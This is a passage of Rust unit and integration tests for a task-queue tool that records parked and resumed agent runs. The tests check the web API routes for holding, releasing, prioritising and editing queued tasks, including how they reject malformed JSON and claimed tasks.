17582 task.attempts = 1;
17583 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17584 let h = task_history(&task, |_| Some(run.clone()));
17585 assert_eq!(h.len(), 2);
17586 assert_eq!(h[0].kind, "competition");
17587 assert_eq!(h[1].kind, "resume");
17588 assert_eq!(
17589 (h[0].exit, h[0].attempt),
17590 (RunExit::Parked, AttemptCost::Refunded)
17591 );
17592 assert!(
17593 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17594 "{}",
17595 h[0].outcome
17596 );
17597 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17598 assert!(
17599 h[0].outcome.contains("pass #2 resumed the same run"),
17600 "{}",
17601 h[0].outcome
17602 );
17603 assert!(
17604 h[0].outcome.contains("pass 1 of 2 over run"),
17605 "{}",
17606 h[0].outcome
17607 );
17608 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17609 assert_eq!(
17610 h[0].exit_label,
17611 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17612 );
17613 let f = task_flow(&task, &h, 2, None);
17614 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17616 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17617 assert!(
17618 f.edges[1].label.contains("upgrade 0.121.0"),
17619 "{}",
17620 f.edges[1].label
17621 );
17622 assert!(
17623 f.edges[1].label.contains("resume the same run"),
17624 "{}",
17625 f.edges[1].label
17626 );
17627 assert_eq!(f.nodes[1].note, Some("parked"));
17628 }
17629
17630 #[test]
17631 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17632 let mut a = flow_run(RunStatus::Implementing, |s| {
17633 s.passes = vec![
17634 recorded_pass(0, parked(upgrade_cause())),
17635 recorded_pass(1, None),
17636 ];
17637 });
17638 let mut b = flow_run(RunStatus::Failed, |s| {
17639 s.passes = vec![recorded_pass(0, None)];
17640 });
17641 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17642 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17643 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17644 let mut task = flow_task(&[]);
17645 task.start("a".into());
17646 task.start("b".into());
17647 task.start("a".into());
17648 assert_eq!(task.runs, ["b", "a"]);
17649 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17650 let h = task_history(&task, |id| {
17651 Some(if id == "a" { a.clone() } else { b.clone() })
17652 });
17653 assert_eq!(
17654 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17655 ["a", "b", "a"]
17656 );
17657 assert_eq!(h[0].attempt, AttemptCost::Refunded);
17658 assert!(h[0].outcome.contains("upgrade"));
17659 assert_eq!(h[2].kind, "resume");
17660 assert!(h[2].pass.is_some());
17661 task.runs = vec!["a".into(), "b".into(), "a".into()];
17663 let old = task_history(&task, |id| {
17664 Some(if id == "a" { a.clone() } else { b.clone() })
17665 });
17666 assert_eq!(
17667 old.iter()
17668 .map(|v| (&v.id, &v.kind, v.attempt))
17669 .collect::<Vec<_>>(),
17670 h.iter()
17671 .map(|v| (&v.id, &v.kind, v.attempt))
17672 .collect::<Vec<_>>()
17673 );
17674 }
17675
17676 #[test]
17677 fn an_upgrade_whose_target_was_not_known_says_so() {
17678 let run = flow_run(RunStatus::Implementing, |s| {
17679 s.passes = vec![
17680 recorded_pass(
17681 0,
17682 parked(crate::run::ParkCause::Upgrade {
17683 from: "0.121.0".to_owned(),
17684 to: None,
17685 }),
17686 ),
17687 recorded_pass(1, None),
17688 ];
17689 });
17690 let task = flow_task(&[RUN_X, RUN_X]);
17691 let h = task_history(&task, |_| Some(run.clone()));
17692 assert!(
17693 h[0].outcome.contains("upgrade from 0.121.0"),
17694 "{}",
17695 h[0].outcome
17696 );
17697 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17699 }
17700
17701 #[test]
17702 fn each_pass_keeps_its_own_cause_across_several_resumes() {
17703 use crate::queue::PassCost;
17704 use crate::run::ParkCause;
17705 let run = flow_run(RunStatus::Implementing, |s| {
17706 s.passes = vec![
17707 recorded_pass(0, parked(upgrade_cause())),
17708 recorded_pass(
17709 1,
17710 parked(ParkCause::Interrupt {
17711 reason: "task a1b2 asked to run first".to_owned(),
17712 }),
17713 ),
17714 recorded_pass(2, parked(ParkCause::Operator)),
17715 recorded_pass(3, None),
17716 ];
17717 });
17718 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17719 task.attempts = 1;
17720 task.passes = (0..3)
17721 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17722 .collect();
17723 let h = task_history(&task, |_| Some(run.clone()));
17724 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17725 assert!(
17726 h[1].outcome.contains("task a1b2 asked to run first"),
17727 "{}",
17728 h[1].outcome
17729 );
17730 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17731 assert!(
17732 h[2].outcome.contains("operator asked the loop to park"),
17733 "{}",
17734 h[2].outcome
17735 );
17736 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17737 let f = task_flow(&task, &h, 2, None);
17738 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17739 }
17740
17741 #[test]
17742 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17743 let run = flow_run(RunStatus::Implementing, |s| {
17744 s.passes = vec![
17745 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17746 recorded_pass(1, None),
17747 ];
17748 });
17749 let task = flow_task(&[RUN_X, RUN_X]);
17750 let h = task_history(&task, |_| Some(run.clone()));
17751 assert_eq!(h[0].exit, RunExit::Interrupted);
17752 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17753 assert!(
17754 h[0].outcome.contains("without recording why"),
17755 "{}",
17756 h[0].outcome
17757 );
17758 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17759 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17760 }
17761
17762 #[test]
17763 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17764 use crate::queue::PassCost;
17765 let run = flow_run(RunStatus::Implementing, |s| {
17768 s.passes = vec![
17769 recorded_pass(0, parked(upgrade_cause())),
17770 recorded_pass(1, None),
17771 ];
17772 });
17773 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17774 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17775 let h = task_history(&task, |_| Some(run.clone()));
17776 assert!(h[0].pass.is_none());
17777 assert_eq!(h[0].exit, RunExit::Interrupted);
17778 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17779 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17780 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17781 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17782 let legacy = flow_run(RunStatus::Implementing, |_| {});
17784 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17785 assert!(h.iter().all(|v| v.pass.is_none()));
17786 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17787 }
17788
17789 #[test]
17790 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17791 use crate::queue::PassCost;
17792 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17795 web.task_entry = false;
17796 let run = flow_run(RunStatus::Implementing, |s| {
17797 s.passes = vec![
17798 recorded_pass(0, parked(upgrade_cause())),
17799 web.clone(),
17800 recorded_pass(2, None),
17801 ];
17802 });
17803 let mut task = flow_task(&[RUN_X, RUN_X]);
17804 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17805 let h = task_history(&task, |_| Some(run.clone()));
17806 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17807 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17808
17809 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17812 web0.task_entry = false;
17813 let run = flow_run(RunStatus::Implementing, |s| {
17814 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17815 });
17816 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17817 assert!(h[0].pass.is_none());
17818 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17819 assert!(h[1].pass.is_some());
17820 }
17821
17822 #[tokio::test]
17823 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17824 let dir = tempfile::tempdir().unwrap();
17825 let queue = Queue::at(dir.path().join("queue"));
17826 let ui = Arc::new(Ui::new(
17827 queue.clone(),
17828 Questions::at(dir.path().join("questions")),
17829 Talks::at(dir.path().join("talks")),
17830 dir.path().join("runs"),
17831 dir.path().to_path_buf(),
17832 dir.path().to_path_buf(),
17833 ));
17834 let mut t = Task::new(
17835 "recover".into(),
17836 "Inspect".into(),
17837 PathBuf::from("."),
17838 Source::Human,
17839 );
17840 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17841 t.start("run-A".into());
17842 t.release_operator("choice", Some("resume-question"));
17843 t.resume_override = Some(crate::queue::OperatorResume {
17844 question_id: "resume-question".into(),
17845 at: jiff::Timestamp::now(),
17846 conductor_rehold: None,
17847 forced: true,
17848 pinned_run: Some("run-A".into()),
17849 });
17850 t.hold_machine(Some("inspection pending".into()));
17851 t.edit("recover".into(), "Reuse approved PR head".into())
17852 .unwrap();
17853 queue.put(&mut t).unwrap();
17854 let mut cli = t.clone();
17855 cli.release_operator("cli", None);
17856 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17857 let reloaded = queue.get(&t.id).unwrap();
17858 assert_eq!(reply.task.status, TaskStatus::Queued);
17859 assert!(reloaded.resume_override.is_none());
17860 assert_eq!(reloaded.answers, t.answers);
17861 let mut web = reloaded.resumption.unwrap();
17862 let cli = cli.resumption.unwrap();
17863 assert_eq!(web.source, "web");
17864 web.source = cli.source.clone();
17865 web.at = cli.at;
17866 assert_eq!(web, cli);
17867 }
17868
17869 #[tokio::test]
17870 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17871 let f = Fixture::start().await;
17872 let queue = f.queue();
17873 let mut task = Task::new(
17874 "spent".to_owned(),
17875 "Try again".to_owned(),
17876 PathBuf::from("/repo/magi"),
17877 Source::Human,
17878 );
17879 task.start("20260902-140502-bbbb".to_owned());
17880 task.fail("agent gave up", 9);
17881 queue.put(&mut task).expect("file the task");
17882
17883 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17884 assert_eq!(held.status, 200);
17885 assert_eq!(held.json()["status_str"], "held");
17886
17887 let released = f
17888 .post(&format!("/api/queue/{}/release", task.id), None)
17889 .await;
17890 assert_eq!(released.status, 200);
17891 assert_eq!(released.json()["status_str"], "queued");
17892 assert_eq!(released.json()["resumption"]["source"], "web");
17893 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17894 let mut cli = task.clone();
17895 cli.release_operator("cli", None);
17896 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17897 let cli = cli.resumption.unwrap();
17898 assert_eq!(web.instruction, cli.instruction);
17899 assert_eq!(web.answers_through, cli.answers_through);
17900 assert_eq!(web.runs_through, cli.runs_through);
17901 assert_eq!(web.cleared_reason, cli.cleared_reason);
17902 assert_eq!(
17903 released.json()["attempts"],
17904 0,
17905 "release is a real second chance, not an instant re-hold"
17906 );
17907 assert_eq!(
17908 queue.get(&task.id).expect("reload").status,
17909 TaskStatus::Queued,
17910 "the change is on disk, not only in the reply"
17911 );
17912 assert!(
17913 !f.home
17914 .path()
17915 .join("queue")
17916 .join(format!("{}.lock", task.id))
17917 .exists(),
17918 "the claim the mutation took is released again"
17919 );
17920 }
17921
17922 #[tokio::test]
17923 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17924 let f = Fixture::start().await;
17925 let queue = f.queue();
17926 let mut task = Task::new(
17927 "busy".to_owned(),
17928 "Running right now".to_owned(),
17929 PathBuf::from("/repo/magi"),
17930 Source::Human,
17931 );
17932 queue.put(&mut task).expect("file the task");
17933 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17934
17935 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17936
17937 assert_eq!(res.status, 409);
17938 assert_eq!(
17939 queue.get(&task.id).expect("reload").status,
17940 TaskStatus::Queued,
17941 "the refused hold changed nothing"
17942 );
17943 }
17944
17945 #[tokio::test]
17946 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17947 let f = Fixture::start().await;
17948 let queue = f.queue();
17949 let mut task = Task::new(
17950 "waiting on the migration".to_owned(),
17951 "Do the thing".to_owned(),
17952 PathBuf::from("/repo/magi"),
17953 Source::Human,
17954 );
17955 queue.put(&mut task).expect("file the task");
17956
17957 let held = f
17958 .post(
17959 &format!("/api/queue/{}/hold", task.id),
17960 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17961 )
17962 .await;
17963 assert_eq!(held.status, 200, "{}", held.body);
17964 assert_eq!(held.json()["status_str"], "held");
17965 assert_eq!(
17966 held.json()["hold_reason"],
17967 "waiting for 20260101-000000-aaaa to land"
17968 );
17969
17970 let listed = f.get("/api/queue").await.json();
17971 assert_eq!(
17972 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17973 "the card reads the reason off the same list route"
17974 );
17975
17976 let mut plain = Task::new(
17979 "no reason given".to_owned(),
17980 "Do another thing".to_owned(),
17981 PathBuf::from("/repo/magi"),
17982 Source::Human,
17983 );
17984 queue.put(&mut plain).expect("file the task");
17985 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17986 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17987 assert!(held_plain.json()["hold_reason"].is_null());
17988
17989 let released = f
17990 .post(&format!("/api/queue/{}/release", task.id), None)
17991 .await;
17992 assert_eq!(released.status, 200);
17993 assert!(
17994 released.json()["hold_reason"].is_null(),
17995 "a release must clear the reason so the next hold does not inherit it"
17996 );
17997 }
17998
17999 #[test]
18000 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18001 for urgent in [true, false] {
18002 let body: UrgentBody =
18003 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18004 assert_eq!(body.urgent, urgent);
18005 }
18006 for input in [
18007 r#"{}"#,
18008 r#"{"urgent":null}"#,
18009 r#"{"urgent":"true"}"#,
18010 r#"{"urgent":1}"#,
18011 r#"{"urgent":true,"extra":false}"#,
18012 ] {
18013 assert!(
18014 serde_json::from_str::<UrgentBody>(input).is_err(),
18015 "{input}"
18016 );
18017 }
18018 }
18019
18020 #[tokio::test]
18021 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18022 let home = TempDir::new().unwrap();
18023 let q = Queue::at(home.path().join("queue"));
18024 let ui = Arc::new(Ui::new(
18025 q.clone(),
18026 Questions::at(home.path().join("questions")),
18027 Talks::at(home.path().join("talks")),
18028 home.path().join("runs"),
18029 home.path().into(),
18030 home.path().into(),
18031 ));
18032 let mut task = Task::new(
18033 "urgent handler".into(),
18034 "keep".into(),
18035 home.path().into(),
18036 Source::Human,
18037 );
18038 for status in [TaskStatus::Queued, TaskStatus::Held] {
18039 task.status = status;
18040 q.put(&mut task).unwrap();
18041 for urgent in [true, true, false, false] {
18042 let saved = queue_urgent(
18043 State(Arc::clone(&ui)),
18044 Path(task.short().into()),
18045 Ok(Json(UrgentBody { urgent })),
18046 )
18047 .await
18048 .unwrap();
18049 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18050 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18051 }
18052 }
18053 task.status = TaskStatus::Queued;
18054 q.put(&mut task).unwrap();
18055 let claim = q.claim(&task.id).unwrap();
18056 let error = queue_urgent(
18057 State(Arc::clone(&ui)),
18058 Path(task.id.clone()),
18059 Ok(Json(UrgentBody { urgent: true })),
18060 )
18061 .await
18062 .unwrap_err();
18063 assert_eq!(error.status, StatusCode::CONFLICT);
18064 assert!(error.message.contains("released"));
18065 drop(claim);
18066 for status in [
18067 TaskStatus::Running,
18068 TaskStatus::Done,
18069 TaskStatus::Failed,
18070 TaskStatus::Blocked,
18071 TaskStatus::Parked,
18072 ] {
18073 task.status = status;
18074 q.put(&mut task).unwrap();
18075 let error = queue_urgent(
18076 State(Arc::clone(&ui)),
18077 Path(task.id.clone()),
18078 Ok(Json(UrgentBody { urgent: false })),
18079 )
18080 .await
18081 .unwrap_err();
18082 assert_eq!(error.status, StatusCode::BAD_REQUEST);
18083 assert!(error.message.contains(status.as_str()));
18084 }
18085 }
18086
18087 #[tokio::test]
18088 async fn urgent_api_updates_preserves_and_validates_tasks() {
18089 let f = Fixture::start().await;
18090 let q = f.queue();
18091 let mut t = Task::new(
18092 "urgent API".into(),
18093 "unchanged".into(),
18094 PathBuf::from("/repo/magi"),
18095 Source::Human,
18096 );
18097 t.attempts = 2;
18098 t.priority = 9;
18099 t.interrupt = true;
18100 t.hold_reason = Some("waiting for approval".into());
18101 for status in [TaskStatus::Queued, TaskStatus::Held] {
18102 t.status = status;
18103 q.put(&mut t).unwrap();
18104 for urgent in [true, true, false, false] {
18105 let response = f
18106 .post(
18107 &format!("/api/queue/{}/urgent", t.short()),
18108 Some(&format!("{{\"urgent\":{urgent}}}")),
18109 )
18110 .await;
18111 assert_eq!(response.status, 200, "{}", response.body);
18112 assert_eq!(response.json()["urgent"], urgent);
18113 let saved = q.get(&t.id).unwrap();
18114 let mut before = serde_json::to_value(&t).unwrap();
18115 let mut after = serde_json::to_value(saved).unwrap();
18116 before["urgent"] = urgent.into();
18117 before.as_object_mut().unwrap().remove("updated_at");
18118 after.as_object_mut().unwrap().remove("updated_at");
18119 assert_eq!(after, before);
18120 }
18121 }
18122 let route = format!("/api/queue/{}/urgent", t.id);
18123 for body in [
18124 r#"{}"#,
18125 r#"{"urgent":null}"#,
18126 r#"{"urgent":"true"}"#,
18127 r#"{"urgent":1}"#,
18128 r#"{"urgent":true,"extra":false}"#,
18129 "{",
18130 ] {
18131 assert_eq!(f.post(&route, Some(body)).await.status, 400);
18132 }
18133 t.status = TaskStatus::Queued;
18134 q.put(&mut t).unwrap();
18135 let claim = q.claim(&t.id).unwrap();
18136 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18137 assert_eq!(response.status, 409, "{}", response.body);
18138 assert!(!q.get(&t.id).unwrap().urgent);
18139 drop(claim);
18140 for status in [
18141 TaskStatus::Running,
18142 TaskStatus::Done,
18143 TaskStatus::Failed,
18144 TaskStatus::Blocked,
18145 TaskStatus::Parked,
18146 ] {
18147 t.status = status;
18148 q.put(&mut t).unwrap();
18149 for urgent in [true, false] {
18150 let response = f
18151 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18152 .await;
18153 assert_eq!(response.status, 400, "{}", response.body);
18154 assert!(response.body.contains(status.as_str()));
18155 assert!(response.body.contains("queued or held"));
18156 assert!(!q.get(&t.id).unwrap().urgent);
18157 }
18158 }
18159 assert_eq!(
18160 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18161 .await
18162 .status,
18163 404
18164 );
18165 }
18166
18167 #[tokio::test]
18168 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18169 let f = Fixture::start().await;
18170 let queue = f.queue();
18171 let mut older = Task::new(
18172 "filed first".to_owned(),
18173 "x".to_owned(),
18174 PathBuf::from("/repo/magi"),
18175 Source::Human,
18176 );
18177 older.id = "20260101-000001-aaaa".to_owned();
18178 let mut newer = Task::new(
18179 "filed second".to_owned(),
18180 "x".to_owned(),
18181 PathBuf::from("/repo/magi"),
18182 Source::Human,
18183 );
18184 newer.id = "20260101-000002-bbbb".to_owned();
18185 queue.put(&mut older).expect("file older");
18186 queue.put(&mut newer).expect("file newer");
18187
18188 let before = f.get("/api/queue").await.json();
18191 assert_eq!(before[0]["id"], newer.id);
18192 assert_eq!(before[1]["id"], older.id);
18193
18194 let raised = f
18198 .post(
18199 &format!("/api/queue/{}/priority", older.id),
18200 Some(r#"{"priority":10}"#),
18201 )
18202 .await;
18203 assert_eq!(raised.status, 200, "{}", raised.body);
18204 assert_eq!(raised.json()["priority"], 10);
18205
18206 let after = f.get("/api/queue").await.json();
18207 let names: Vec<&str> = after
18208 .as_array()
18209 .unwrap()
18210 .iter()
18211 .map(|t| t["id"].as_str().unwrap())
18212 .collect();
18213 assert_eq!(names[0], older.id, "the raised task now sorts first");
18217 }
18218
18219 #[tokio::test]
18220 async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18221 let f = Fixture::start().await;
18222 let queue = f.queue();
18223 let mut tasks = Vec::new();
18224 for id in [
18225 "20260101-000001-aaaa",
18226 "20260101-000002-bbbb",
18227 "20260101-000003-cccc",
18228 ] {
18229 let mut task = Task::new(
18230 id.into(),
18231 "x".into(),
18232 PathBuf::from("/repo/magi"),
18233 Source::Human,
18234 );
18235 task.id = id.into();
18236 queue.put(&mut task).unwrap();
18237 tasks.push(task);
18238 }
18239 assert_eq!(
18240 queue.next_runnable().unwrap().id,
18241 tasks[0].id,
18242 "equal priorities use ascending id"
18243 );
18244 let route = format!("/api/queue/{}/priority", tasks[2].id);
18245 assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18246 assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18247 tasks[1].start("upgrade-run".into());
18248 tasks[1].park("upgrade");
18249 tasks[1].record_pass_at(
18250 "upgrade-run",
18251 0,
18252 Some("2026-01-01T00:00:00Z".parse().unwrap()),
18253 1,
18254 Some(crate::run::ParkCause::Upgrade {
18255 from: "old".into(),
18256 to: None,
18257 }),
18258 );
18259 queue.put(&mut tasks[1]).unwrap();
18260 let rows = f.get("/api/queue").await.json();
18261 let upgrade = rows
18262 .as_array()
18263 .unwrap()
18264 .iter()
18265 .find(|row| row["id"] == tasks[1].id)
18266 .unwrap();
18267 assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18268 assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18269 tasks[2] = queue.get(&tasks[2].id).unwrap();
18270 tasks[2].start("running-run".into());
18271 queue.put(&mut tasks[2]).unwrap();
18272 assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18273 assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18274 }
18275
18276 #[tokio::test]
18277 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18278 let dir = TempDir::new().unwrap();
18279 let q = Queue::at(dir.path().join("queue"));
18280 let ui = Arc::new(Ui::new(
18281 q.clone(),
18282 Questions::at(dir.path().join("questions")),
18283 Talks::at(dir.path().join("talks")),
18284 dir.path().join("runs"),
18285 dir.path().to_path_buf(),
18286 dir.path().to_path_buf(),
18287 ));
18288 let mut t = Task::new(
18289 "budget".into(),
18290 "keep".into(),
18291 dir.path().into(),
18292 Source::Human,
18293 );
18294 t.attempts = 2;
18295 t.runs.push("prior-run".into());
18296 t.hold_manual(Some("waiting".into()));
18297 q.put(&mut t).unwrap();
18298 let change = |value| {
18299 queue_attempt_limit(
18300 State(ui.clone()),
18301 Path(t.id.clone()),
18302 Ok(Json(AttemptLimitBody {
18303 attempt_limit: value,
18304 })),
18305 )
18306 };
18307 for value in [
18308 serde_json::json!(3),
18309 serde_json::Value::Null,
18310 serde_json::json!(1),
18311 ] {
18312 let response = change(value.clone()).await.unwrap();
18313 assert_eq!(
18314 serde_json::to_value(response.0).unwrap()["attempt_limit"],
18315 value
18316 );
18317 let saved = q.get(&t.id).unwrap();
18318 assert_eq!(
18319 serde_json::to_value(&saved).unwrap()["attempt_limit"],
18320 value
18321 );
18322 assert_eq!(saved.status, TaskStatus::Held);
18323 assert_eq!(saved.attempts, t.attempts);
18324 assert_eq!(saved.runs, t.runs);
18325 assert_eq!(saved.hold_reason, t.hold_reason);
18326 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18327 .await
18328 .unwrap()
18329 .0;
18330 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18331 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18332 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18333 assert_eq!(outcome.max_attempts, detail.max_attempts);
18334 }
18335 for value in [
18336 serde_json::json!(0),
18337 serde_json::json!(-1),
18338 serde_json::json!(1.5),
18339 serde_json::json!("3"),
18340 serde_json::json!(true),
18341 ] {
18342 assert_eq!(
18343 change(value).await.err().unwrap().status,
18344 StatusCode::BAD_REQUEST
18345 );
18346 }
18347 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18348 let claim = q.claim(&t.id).unwrap();
18349 assert_eq!(
18350 change(serde_json::json!(4)).await.err().unwrap().status,
18351 StatusCode::CONFLICT
18352 );
18353 drop(claim);
18354 for status in [
18355 TaskStatus::Running,
18356 TaskStatus::Done,
18357 TaskStatus::Failed,
18358 TaskStatus::Blocked,
18359 TaskStatus::Parked,
18360 ] {
18361 let mut stored = q.get(&t.id).unwrap();
18362 stored.status = status;
18363 q.put(&mut stored).unwrap();
18364 assert_eq!(
18365 change(serde_json::json!(4)).await.err().unwrap().status,
18366 StatusCode::BAD_REQUEST
18367 );
18368 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18369 }
18370 let mut stored = q.get(&t.id).unwrap();
18371 stored.status = TaskStatus::Queued;
18372 q.put(&mut stored).unwrap();
18373 let _ = change(serde_json::Value::Null).await.unwrap();
18374 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18375 }
18376
18377 #[tokio::test]
18378 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18379 let dir = TempDir::new().unwrap();
18380 let repo = dir.path().join("repo");
18381 std::fs::create_dir(&repo).unwrap();
18382 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18383 let q = Queue::at(dir.path().join("queue"));
18384 let ui = Arc::new(Ui::new(
18385 q.clone(),
18386 Questions::at(dir.path().join("questions")),
18387 Talks::at(dir.path().join("talks")),
18388 dir.path().join("runs"),
18389 dir.path().to_path_buf(),
18390 repo.clone(),
18391 ));
18392 let mut t = Task::new(
18393 "seats".into(),
18394 "keep instruction".into(),
18395 repo,
18396 Source::Human,
18397 );
18398 t.runs.push("prior-run".into());
18399 t.hold_manual(Some("waiting".into()));
18400 q.put(&mut t).unwrap();
18401 let change = |count| {
18402 queue_implementers(
18403 State(ui.clone()),
18404 Path(t.id.clone()),
18405 Ok(Json(ImplementersBody {
18406 implementers: count,
18407 })),
18408 )
18409 };
18410 for count in [2, 1, 2] {
18411 let response = change(count).await.unwrap();
18412 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18413 let saved = q.get(&t.id).unwrap();
18414 assert_eq!(saved.implementers(), Some(usize::from(count)));
18415 assert_eq!(saved.runs, t.runs);
18416 assert_eq!(saved.instruction, t.instruction);
18417 }
18418 for count in [0, 4] {
18419 assert_eq!(
18420 change(count).await.err().unwrap().status,
18421 StatusCode::BAD_REQUEST
18422 );
18423 }
18424 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18425 let claim = q.claim(&t.id).unwrap();
18426 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18427 drop(claim);
18428 for status in [
18429 TaskStatus::Running,
18430 TaskStatus::Done,
18431 TaskStatus::Failed,
18432 TaskStatus::Blocked,
18433 TaskStatus::Parked,
18434 ] {
18435 let mut stored = q.get(&t.id).unwrap();
18436 stored.status = status;
18437 q.put(&mut stored).unwrap();
18438 assert_eq!(
18439 change(1).await.err().unwrap().status,
18440 StatusCode::BAD_REQUEST
18441 );
18442 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18443 }
18444 }
18445
18446 #[tokio::test]
18447 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18448 let f = Fixture::start().await;
18449 let queue = f.queue();
18450 let mut task = Task::new(
18451 "in flight".to_owned(),
18452 "x".to_owned(),
18453 PathBuf::from("/repo/magi"),
18454 Source::Human,
18455 );
18456 task.start("20260902-140502-bbbb".to_owned());
18457 queue.put(&mut task).expect("file the task");
18458
18459 let res = f
18460 .post(
18461 &format!("/api/queue/{}/priority", task.id),
18462 Some(r#"{"priority":9}"#),
18463 )
18464 .await;
18465 assert_eq!(res.status, 400, "{}", res.body);
18466 assert!(
18467 res.json()["error"]
18468 .as_str()
18469 .is_some_and(|e| e.contains("running")),
18470 "{}",
18471 res.body
18472 );
18473 assert_eq!(
18474 queue.get(&task.id).expect("reload").priority,
18475 0,
18476 "the refused write must not partially apply"
18477 );
18478 }
18479
18480 #[tokio::test]
18481 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18482 let f = Fixture::start().await;
18483 let queue = f.queue();
18484 let mut task = Task::new(
18485 "old title".to_owned(),
18486 "old instruction".to_owned(),
18487 PathBuf::from("/repo/magi"),
18488 Source::Agent {
18489 run: "20260101-000000-beef".to_owned(),
18490 node: "implement".to_owned(),
18491 },
18492 );
18493 task.runs.push("20260101-000000-beef".to_owned());
18494 queue.put(&mut task).expect("file the task");
18495 let created_at = task.created_at;
18496
18497 let edited = f
18498 .post(
18499 &format!("/api/queue/{}/edit", task.id),
18500 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18501 )
18502 .await;
18503 assert_eq!(edited.status, 200, "{}", edited.body);
18504 let body = edited.json();
18505 assert_eq!(body["title"], "new title");
